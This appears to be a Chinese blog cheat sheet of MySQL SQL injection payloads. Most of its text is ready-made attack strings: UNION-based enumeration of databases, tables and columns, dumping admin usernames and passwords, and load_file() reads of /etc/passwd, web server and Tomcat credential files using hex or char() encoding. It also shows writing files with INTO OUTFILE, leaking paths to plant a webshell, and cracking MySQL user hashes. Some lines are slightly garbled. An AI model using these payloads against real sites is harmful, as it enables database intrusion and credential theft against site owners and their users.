MYSQL注入语句

一、信息查询 information_schema是MySQL 5.0后产生的虚拟数据库,提供访问数据库元数据的

方式,即数据的数据。比如数据库所有库名或表名,列类型,访问权限。

MYsql 5.X以上版本的注入查询主要基于information_schem

1.UNION 注入 (联合查询注入) ≥ MySQL 5      information_schema  (信息数据库),其中保存着关于 MySQL 服务器所维护的所有其它数据库的 信息, 如数据库名、表名、数据类型、访问权限等。

显示数据库信息字段数查找

 id=1/**/Order/**/By/**/10/**/--        正常则字段数>10 id=1/**/Order/**/By/**/12/**/--        错误则字段数<12

枚举数据库名

 And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 (注意字段数)

从 0 个库开始,显示数到第 1 个库

当前数据库名 and 1=2 union select 1,database()--

查表名 

and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7068707a72-- 

table_schema=后面是库名的 16 进制(上面爆出的库名转换16进制)

查字段名

and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 1,1--

0x61646d696e    表名 admin 

0x7068707a72    库名 phpzr(上面爆出的库名,表名)

查字段内容 

and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--

从 admin 表中查询字段名为 id、username、password 值的记录(username,password都是上一步爆出的字段名)

admin是上面爆出的表名

0x3c62723e 表示

、、、、、、、、、、、、、、、、、、、、、、、、、、、

一.查看 MYSQL 基本信息(库名,版本,用户) 

and 1=2 union select 1,database(),version(),user()--

关于找不到 ROOT 密码的爆破: 通过 LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用户的 HASH 散列,之后用 CAIN 爆 破….      

current_user() 当前用户名 

version()     MySQL 数据库版本 

system_user()      系统用户名

 user()          用户名 

session_user()     连接数据库的用户名 

database()     数据库名

 load_file()        MySQL 读文件(需 root 权限) 

@@datadir    MySQL 库文件路径

@@version_compile_os    操作系统

Substring()函数 substring()是字符串读取(可解决字段长度限制导致信息显示不全) id=1/**/And/**/1=2/**/Union/**/Select/**/1,Substring(Load_file(0x633a2f626f6f742e696e69),1)/* */

Replace()函数 Replace()是字符串替换函数,替换指定的字符串内容,返回替换后全部数据。有时通过 load_file() 读文件内容无法正常显示,例如用 Replace()替换掉其中编码为 hex 的“<”及“空格”。  id=1/**/And/**/1=2/**/Union/**/Select/**/1,replace(load_file(0x2f6574632f706173737764),0x3c,0 x20)/**/

写入 webshell 一:无法获得 web 目录 ① 用 uploadpic.php 中 getimagesize()函数的小 bug,先在后台添加上传类型 text/asa,然后到前台传 图片的地方传个 asa 文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径

二、入侵数据库操作系统 读写文件 前置条件 

1:读文件 load_file()函数要数据库 root 账户权限.

 2:写文件 magic_quotes_gpc 必须为 off.

数据库账户权限判断 And Ord(Mid(User(),1,1))=114         

  正常是 root

①  读文件 Hex (Recommend) http://127.0.0.1/web_vunerability/mysql.php?id=1/**/And/**/1=2/**/Union/**/Select/**/1,Replac e(Load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),0x3c,0x20)/**/

/etc/httpd/conf/httpd.conf            //Red Hat 0x2f6574632f68747470642f636f6e662f68747470642e636f6e66

c:\windows\system32\inetsrv\MetaBase.xml        //NT 5.2 0x633a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c

c:\Program Files\Tomcat\conf\tomcat-users.xml      //Tomcat For Windows 0x433a5c50726f6772616d2046696c65735c546f6d6361745c636f6e665c746f6d6361742d7573657273 2e786d6c

Char And/**/1=2/**/Union/**/Select/**/1,Load_file(char(99,58,92,98,111,111,116,46,105,110,105))/**/

无编码 And/**/1=2/**/Union/**/Select/**/1,load_file('c:/boot.ini')/**/

②  写文件 and 1=2 union all select 'fuck',2 into outfile 'd:/fuck2.txt'#

你可能感兴趣的:(MYSQL注入语句)